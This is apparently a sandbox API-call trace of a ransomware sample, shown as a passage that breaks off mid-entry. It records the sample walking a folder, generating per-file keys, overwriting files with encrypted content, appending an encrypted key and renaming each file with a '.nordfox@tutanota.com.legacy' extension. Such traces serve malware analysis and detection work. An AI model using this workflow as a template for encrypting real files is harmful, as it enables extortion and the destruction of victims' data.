[0105.455] SetLastError (dwErrCode=0x0) [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0a68 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0a68 | out: hHeap=0x520000) returned 1 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0105.456] FindNextFileW (in: hFindFile=0x5a09a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.456] GetLastError () returned 0x0 [0105.456] SetLastError (dwErrCode=0x0) [0105.456] GetLastError () returned 0x0 [0105.456] SetLastError (dwErrCode=0x0) [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.456] GetLastError () returned 0x0 [0105.456] SetLastError (dwErrCode=0x0) [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0105.456] FindNextFileW (in: hFindFile=0x5a09a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0105.456] GetLastError () returned 0x0 [0105.456] SetLastError (dwErrCode=0x0) [0105.456] GetLastError () returned 0x0 [0105.456] SetLastError (dwErrCode=0x0) [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0105.457] GetLastError () returned 0x0 [0105.457] SetLastError (dwErrCode=0x0) [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0105.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0105.457] FindNextFileW (in: hFindFile=0x5a09a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d577ca, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d577ca, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.457] GetLastError () returned 0x0 [0105.457] SetLastError (dwErrCode=0x0) [0105.457] GetLastError () returned 0x0 [0105.457] SetLastError (dwErrCode=0x0) [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.457] GetLastError () returned 0x0 [0105.457] SetLastError (dwErrCode=0x0) [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0105.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0105.457] FindNextFileW (in: hFindFile=0x5a09a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0105.457] GetLastError () returned 0x0 [0105.457] SetLastError (dwErrCode=0x0) [0105.457] GetLastError () returned 0x0 [0105.457] SetLastError (dwErrCode=0x0) [0105.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0105.458] GetLastError () returned 0x0 [0105.458] SetLastError (dwErrCode=0x0) [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0105.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0105.458] FindNextFileW (in: hFindFile=0x5a09a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0105.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0105.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0105.458] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0105.458] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0105.458] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0105.459] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17752) returned 1 [0105.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4558) returned 0x5c0f88 [0105.459] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4558) returned 0x5c54e8 [0105.459] ReadFile (in: hFile=0x4d4, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x4558, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4558, lpOverlapped=0x0) returned 1 [0105.475] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=-17752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.476] WriteFile (in: hFile=0x4d4, lpBuffer=0x5c54e8*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4558, lpOverlapped=0x0) returned 1 [0105.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54e8 | out: hHeap=0x520000) returned 1 [0105.476] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4558 [0105.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.477] WriteFile (in: hFile=0x4d4, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.477] WriteFile (in: hFile=0x4d4, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.477] CloseHandle (hObject=0x4d4) returned 1 [0105.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0105.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0105.477] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1055\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0105.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0105.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0105.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0105.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0105.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0105.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0105.479] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0105.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0105.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0105.480] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0105.480] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76818) returned 1 [0105.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12c12) returned 0x5c0f88 [0105.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12c12) returned 0x2f20048 [0105.486] ReadFile (in: hFile=0x4d4, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x12c12, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x12c12, lpOverlapped=0x0) returned 1 [0105.501] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=-76818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.501] WriteFile (in: hFile=0x4d4, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x12c12, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12c12, lpOverlapped=0x0) returned 1 [0105.501] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.506] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12c12 [0105.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.508] WriteFile (in: hFile=0x4d4, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.508] WriteFile (in: hFile=0x4d4, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.508] CloseHandle (hObject=0x4d4) returned 1 [0105.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0105.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0105.508] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1055\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0105.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0105.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0105.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0105.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0105.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.510] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1055\\eula.rtf", dwFileAttributes=0x80) returned 1 [0105.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0105.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0105.511] CreateFileW (lpFileName="\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4 [0105.511] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3859) returned 1 [0105.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf13) returned 0x5c0f88 [0105.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf13) returned 0x5c1ea8 [0105.511] ReadFile (in: hFile=0x4d4, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xf13, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xf13, lpOverlapped=0x0) returned 1 [0105.519] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=-3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.519] WriteFile (in: hFile=0x4d4, lpBuffer=0x5c1ea8*, nNumberOfBytesToWrite=0xf13, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1ea8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf13, lpOverlapped=0x0) returned 1 [0105.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1ea8 | out: hHeap=0x520000) returned 1 [0105.519] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf13 [0105.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584988*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.520] WriteFile (in: hFile=0x4d4, lpBuffer=0x584988*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584988*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.520] WriteFile (in: hFile=0x4d4, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.520] CloseHandle (hObject=0x4d4) returned 1 [0105.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584988 | out: hHeap=0x520000) returned 1 [0105.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.520] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1055\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0105.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5a0 | out: hHeap=0x520000) returned 1 [0105.522] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0a68 [0105.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0105.523] GetLastError () returned 0x0 [0105.523] SetLastError (dwErrCode=0x0) [0105.523] GetLastError () returned 0x0 [0105.523] SetLastError (dwErrCode=0x0) [0105.523] GetLastError () returned 0x0 [0105.523] SetLastError (dwErrCode=0x0) [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d28 [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0105.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0aa8 [0105.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0aa8 | out: hHeap=0x520000) returned 1 [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0105.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0105.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0105.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d28 | out: hHeap=0x520000) returned 1 [0105.523] FindNextFileW (in: hFindFile=0x5a0a68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0105.523] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0105.523] GetLastError () returned 0x0 [0105.523] SetLastError (dwErrCode=0x0) [0105.523] GetLastError () returned 0x0 [0105.523] SetLastError (dwErrCode=0x0) [0105.524] GetLastError () returned 0x0 [0105.524] SetLastError (dwErrCode=0x0) [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0105.524] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0105.524] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0105.524] HeapFree (in: hHeap=0x520000, 